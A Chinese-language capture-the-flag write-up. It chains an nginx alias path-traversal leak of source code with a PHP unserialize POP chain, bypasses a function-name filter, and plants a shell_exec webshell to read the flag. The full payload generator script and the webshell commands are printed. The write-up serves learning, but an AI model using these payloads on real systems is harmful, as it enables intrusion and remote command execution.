這題包含很多知識,在做的時候查很多資料而收穫良多,從 nginx 漏洞到 PHP POP 都有。推薦大家先自己做做看!因為很有趣,從 22:00 解到 07:00 …
[正文]
先觀察頁面有沒有漏洞,初步觀察後發現是用 nginx 架設,有 static 子目錄,推測有 nginx 路徑漏洞,網址輸入:http://final.kaibro.tw:10004/static../
,成功拿到 source code。
Nginx 目錄穿越漏洞
常見於 Nginx 做 Reverse Proxy 的狀況,例如 config 設置 location /files { alias /home/ }
會因為 /files
沒有加上結尾 /
,而 /home/
有,所以 /files../
可以訪問上層目錄
site |
class_oldfm.php
很坑,裡面滿滿的漏洞,但是沒有被引用 QQ,另外 k.js
的內容是 Konami Code ( ⇧⇧⇩⇩⇦⇨⇦⇨ⒷⒶ ) 的梗,輸入後會在 console 印奇怪的訊息
Analysis
首先可以發現在 class_user.php 裡可以找到 username 和 password,先登入看看,可以發現 blog 頁面可以留言了。不知道能幹麻,先放著。先搜尋可能有漏洞的函式:
file_get_contents 和 file_put_contents
- 發現 OldFileManager 可以用,但是 trace 一下發現他根本沒有被 include..
- 參數都不可控制,死路。
unserialize
發現在
class_cookie.php
的MyCookie::__construct()
有unserialize()
,參數可以藉由$_cookie["e"]
來控制class_cookie.php 7
8
9$enc = $_COOKIE['e'];
$dec = base64_decode(strrev($enc));
$arr = explode("|", $dec); // 可以構造成 “1234|payload”unserialize 後的 object 會 assign 給
$this->article
class_cookie.php 23
24
25
26
27if(count($arr) === 2) {
$this->uid = $arr[0];
$obj = unserialize($arr[1]);
$this->article = $obj;
}在
blog.php
發現它new MyCookie()
後使用MyCookie::restore()
blog.php 64
65
66
67
68
69if(isset($_COOKIE['e'])) {
$myck = new MyCookie();
$r = $myck->restore();
} else {
$r = NULL;
}回到
class_cookie.php
查看,可以發現MyCookie::restore()
回傳的就是可以控制的$this->article
,表示我們也能夠控制blog.php
的$r
class_cookie.php 36
37
38
39
40
41public function restore() {
if($this->uid !== NULL && $this->article !== NULL)
return $this->article;
else
return NULL;
}在
blog.php
裡面繼續往下發現$r
會被丟進print_title($r)
和print_content($r)
,這兩個都會echo $r->body->title
,找找看其他 class 有沒有好用的__toString
可以用blog.php 99
100
101
102
103
104
105
106
107
108
109function print_title($r) {
if(isset($r)) {
echo $r->body->title;
}
}
function print_content($r) {
if(isset($r)) {
echo $r->body->content;
}
}不難發現只有
class_debug.php
的Debug::__toString()
能夠使用,其他的都沒有在額外 call function,找找看其他 class 有沒有好用的save()
可以用class_debug.php 12
13
14
15
16function __toString() {
$str = "[DEUBG]" . $msg;
$this->fm->save();
return $str;
}在
class_filemanager.php
,class_article.php
,class_user.php
都有發現save()
class_filemanager.php
,class_article.php
的save()
,雖然都有file_put_contents
,但參數都不可控,死路。- 剩下
class_user.php
的save()
,可以發現($this->func)($this->data)
且$this->func
和$this->data
都可以透過unserialize()
的時候就控制到!class_user.php 41
42
43
44
45
46
47
48
49
50
51
52public function save() {
if(!isset($this->data))
$this->data = User::getAllUser();
if(preg_match("/^[a-z]/is", $this->func)) {
if($this->func === "shell_exec") {
($this->func)("echo " . escapeshellarg($this->data) . " > /tmp/result");
}
} else {
($this->func)($this->data);
}
}
剩下如何 bypass
preg_match("/^[a-z]/is", $this->func)
,找了一些資料後後發現加入反斜線可以成功 bypass:$func = '\shell_exec'
。整個 POPchain:Article.body -> ArticleBody.content -> Debug.__toString() -> User.save()
Create payload
因為他是直接
($this->func)($this->data)
不會 echo 出來,所以必須想辦法找到可讀寫的地方,在class_article.php
下發現/var/www/app/articles/
這個路徑,看起來可讀寫,建立 webshell payload:$data = 'echo \'<?=shell_exec($_GET[0]);?>\' >/var/www/app/articles/<name>.php'
payload.php 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
include("lib/class_article.php");
include("lib/class_articlebody.php");
include("lib/class_cookie.php");
include("lib/class_user.php");
include("lib/class_debug.php");
include("lib/class_filemanager.php");
$title = "title";
$content = new Debug("content");
$content->fm = new User();
$content->fm->func = "\shell_exec";
$content->fm->data = "echo \'<?=shell_exec($_GET[0]);?>\' >/var/www/app/articles/VHJpcGxlIFNpZ21hIH.php";
$article = new Article( $title, $content );
$article->author = "article";
echo strrev( base64_encode( "1234|" . serialize( $article ) ) );
Get shell
執行
php payload.php
後得到的 payload 丟進cookie[e]
,重整後到 webshell 的頁面。php payload.php
=0Xf913OiAHaw5CaFlmYxo1RJBjVul1ZR12Yoh2RJZnTIlEaxIjWw5kRJ ...Http request http://final.kaibro.tw:10004/articles/VHJpcGxlIFNpZ21hIH.php
GET 0=ls%20/ # 發現 _fl4g___yo, readflag
GET 0=ls%20-al%20%2F # 發現 _fl4g___yo 沒辦法 cat
GET 0=/readflag # 直接執行 readflag -> get flag
FLAG: FLAG{b4d_ng1nx_4nd_l0000ng_p0p_cha1n}